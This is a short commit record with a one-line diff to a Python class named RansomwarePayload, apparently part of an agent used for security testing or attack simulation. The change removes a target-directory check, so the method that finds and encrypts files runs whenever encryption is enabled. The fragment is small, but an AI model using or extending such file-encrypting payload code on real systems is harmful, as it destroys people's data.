Agent: Remove redundant condition from RansomwarePayload.run_payload()

This commit is contained in:
Mike Salvatore 2021-07-09 14:49:00 -04:00
parent 824ffc3dfe
commit d108812e26
1 changed files with 1 additions and 1 deletions

View File

@ -61,7 +61,7 @@ class RansomwarePayload:
LOG.info("Running ransomware payload")
if self._encryption_enabled and self._target_dir:
if self._encryption_enabled:
file_list = self._find_files()
self._encrypt_files(file_list)